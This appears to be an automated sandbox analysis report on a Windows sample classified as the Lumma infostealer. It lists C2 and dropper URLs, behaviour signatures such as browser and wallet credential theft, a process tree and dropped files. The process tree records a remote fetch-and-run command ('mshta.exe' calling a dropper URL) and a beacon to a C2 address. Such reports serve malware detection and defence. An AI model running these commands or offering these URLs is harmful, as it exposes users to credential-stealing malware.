Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/06/2026, 16:54

General

  • Target
    tmpwma73ein.exe
  • Size 2.7MB
  • Sample260601-ves86scv4r
  • SHA256 24614d868fb7777708a033040e69ad14e7bcbd2298786c502a86203c6d1b560c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://snconor.vg

Extracted

Family
  • lumma

C2
  • https://fourdigs.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    3d637a36e4a2ea4051f59aa807c27a4531c4754d2a

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of FindShellTrayWindow 37 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpwma73ein.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpwma73ein.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2496
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Normal.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Normal.exe Reset
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" fourdigs.cyou/api/set_agent?id=A06F5F5CBD24956701AEC7B30ADF174C&token=3d637a36e4a2ea4051f59aa807c27a4531c4754d2a&description=&agent=Chrome
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3912
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa8465c728,0x7ffa8465c734,0x7ffa8465c740
          4⤵
            PID:3488
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1628,i,16025268812072146842,6566670561912600134,524288 --field-trial-handle=1624,i,11225931717532454140,17594543450205624999,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2072 /prefetch:3
            4⤵
            • System Time Discovery
            PID:1336
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1720,i,10729367911965529,14353778634545139332,262144 --field-trial-handle=1624,i,11225931717532454140,17594543450205624999,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2044 /prefetch:2
            4⤵
              PID:568
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,7459378761869596201,10082026329106138518,524288 --field-trial-handle=1624,i,11225931717532454140,17594543450205624999,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2584 /prefetch:8
              4⤵
                PID:5080
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3144,i,14758882260309620698,3709644430274368628,2097152 --field-trial-handle=1624,i,11225931717532454140,17594543450205624999,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3196 /prefetch:1
                4⤵
                  PID:3988
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3156,i,11157774944744036137,6026200390669753148,2097152 --field-trial-handle=1624,i,11225931717532454140,17594543450205624999,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3220 /prefetch:1
                  4⤵
                    PID:4104
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4008,i,11196609444411624340,16861412614198909003,2097152 --field-trial-handle=1624,i,11225931717532454140,17594543450205624999,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4020 /prefetch:2
                    4⤵
                      PID:2328
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4640,i,10589654845742662547,4635893581417158702,524288 --field-trial-handle=1624,i,11225931717532454140,17594543450205624999,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4580 /prefetch:8
                      4⤵
                        PID:616
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5396,i,8194302355298662096,4507981185507106735,524288 --field-trial-handle=1624,i,11225931717532454140,17594543450205624999,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5404 /prefetch:8
                        4⤵
                          PID:5096
                      • C:\Windows\SYSTEM32\mshta.exe
                        mshta.exe https://snconor.vg
                        3⤵
                        • Badlisted process makes network request
                        • Modifies Internet Explorer settings
                        • Suspicious use of AdjustPrivilegeToken
                        PID:776
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:1784
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:1432
                      • C:\Windows\system32\wscript.exe
                        wscript.exe
                        1⤵
                          PID:4528
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM mshta.exe
                          1⤵
                          • Process spawned unexpected child process
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:900
                        • C:\Windows\system32\conhost.exe
                          conhost.exe
                          1⤵
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:2872
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe
                            2⤵
                              PID:2688

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                BookmarkMergedSurfaceOrdering

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                • Size 6B
                                • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                • MD5 SHA1 SHA512

                                BrowsingTopicsState

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                • Size 649B
                                • SHA256 eb2a5b1f5686702a1b41773d6d4e981814e02aa34dcdd54a13f9a5bd1d83725a
                                • MD5 SHA1 SHA512 TLSH

                                SCT Auditing Pending Reports

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                • Size 2B
                                • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                • MD5 SHA1 SHA512

                                Web Data

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                                • Size 138KB
                                • SHA256 658a18aa292662615b62c76d0b7d57f116b86a26350c6b2646dd9dc322e1d097
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Last Version

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                                • Size 13B
                                • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                                • MD5 SHA1 SHA512

                                Local State

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                • Size 115KB
                                • SHA256 32d91fdaa1a797b5eb2417bc0eba6de9ec2a188fcd5725544bb12cb11ec12a76
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Normal.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Normal.exe
                                • Size 957KB
                                • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Reset

                                • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Reset
                                • Size 798KB
                                • SHA256 f3b071b2c8a35364078ff01ff7e25f04c619ceb004fec715e16e282ee8aa68bc
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/860-114-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-67-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-72-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-79-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-78-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-89-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-88-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-103-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-113-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-123-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-122-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-121-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-120-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-119-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-118-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-117-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-116-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-115-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-74-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-112-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-111-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-110-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-109-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-108-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-107-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-106-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-105-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-104-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-102-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-101-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-100-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-99-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-98-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-97-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-84-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-95-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-94-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-93-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-92-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-91-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-90-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-87-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-86-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-83-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-82-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-81-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-80-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-85-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-96-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-73-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-144-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-70-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-77-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-76-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-75-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-69-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-66-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-65-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-64-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-63-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-62-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-61-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-60-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-59-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-58-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-57-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-56-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-55-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-68-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-14-0x0000000005630000-0x000000000568F000-memory.dmp

                                memory/860-13-0x0000000004070000-0x0000000004071000-memory.dmp

                                memory/860-142-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-143-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-145-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-71-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-146-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-148-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-149-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-147-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-151-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-150-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-153-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-152-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-156-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-155-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-154-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-157-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-159-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-158-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-160-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-161-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-162-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-163-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-165-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-166-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-164-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-168-0x0000000005400000-0x0000000005401000-memory.dmp

                                memory/860-167-0x0000000005400000-0x0000000005401000-memory.dmp